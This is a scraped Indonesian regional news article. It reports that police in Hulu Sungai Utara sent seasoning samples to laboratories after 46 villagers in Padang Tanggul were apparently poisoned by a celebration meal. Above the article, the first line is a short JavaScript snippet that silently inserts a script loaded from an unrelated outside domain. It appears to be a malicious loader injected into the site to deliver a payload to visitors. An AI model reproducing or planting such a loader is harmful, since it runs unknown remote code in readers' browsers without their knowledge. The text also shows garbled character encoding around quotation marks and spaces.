(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Menyusul dugaan kasus keracunan massal yang menimpa puluhan warga di Desa Padang Tanggul, Kecamatan Amuntai Selatan, Kabupaten Hulu Sungai Utara (HSU), setelah menyantap sajian nasi bungkus hajatan, Senin(6/11/2023) lalu. Polres HSU masih mendalami kasus tersebut, kekinian sampel berupa bumbu yang diduga menjadi pemicu keracunan dibawa ke laboratorium untuk pemeriksaan lebih lanjut.
“Hari ini kami telah membawa sampel berupa bumbu yang diduga menjadi pemicu keracunan kami serahkan ke BPOM Banjarmasin dan instalasi pelayanan teknik BBTKLPP (Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit ) Banjarbaru,†beber Kapolres HSU melalui Kasi Humas AKP Momo Jon Rodok, Selasa (7/11/2023) siang.
“Selain itu, kami juga berharap hasil pemeriksaan sampel di laboratorium akan memberikan petunjuk yang lebih konkret,†tambahnya.
Baca juga:Â Dua Kota di Kalsel Tertinggi Kasus Kekerasan Perempuan dan Anak
Hingga saat ini, polisi belum dapat memastikan apakah keracunan massal ini disebabkan oleh bahan makanan yang terkontaminasi atau faktor lain yang masih dalam penyelidikan.
Namun, pihaknya berkomitmen untuk mengusut tuntas penyebab kasus ini demi melindungi masyarakat dari bahaya serupa di masa depan.
Perkembangan kasus ini akan terus diungkap oleh Polres HSU guna memberikan kejelasan kepada masyarakat.
Baca juga:Â Dua Kali Sebut Golkar, Video Kadisdikbud Kalsel di YouTube Menghilang
Dalam situasi ini, Polres HSU juga mengimbau kepada masyarakat untuk lebih berhati-hati dan teliti dalam memilih dan mengonsumsi makanan.
“Jika menemukan sesuatu yang mencurigakan atau mengalami gejala keracunan setelah makan, segera hubungi pihak berwenang terdekat untuk tindakan lebih lanjut,†imbuhnya.
Total 46 warga Desa Padang Tanggul diduga mengalami keracunan massal usai menyantap sajian nasi bungkus hajatan salah satu warga. Dengan gejala muntah, diare, dan panas badan. Akibatnya, mereka harus mendapatkan perawatan di Puskesmas Amuntai Selatan dan sebagiannya dirujuk ke RSUD Pembalah Batung Amuntai.
Baca juga:Â Kafilah Kalsel Peringkat 5 STQH Nasional XXVII di Jambi
Terpisah, Kasubag Hukum, Humas dan Organisasi RSUD Pambalah Batung Amuntai, Muhammad Yusuf membenarkan adanya sejumlah pasien yang harus mendapatkan perawatan dan masuk ke IGD karena diduga keracunan makanan.
Saat ditanyakan berapa korban yang masih dirawat di RSUD Pembalah Batung Amuntai, ia menyebut ada empat orang. “Di ruang aster satu, melati satu, anak dua,†sebutnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.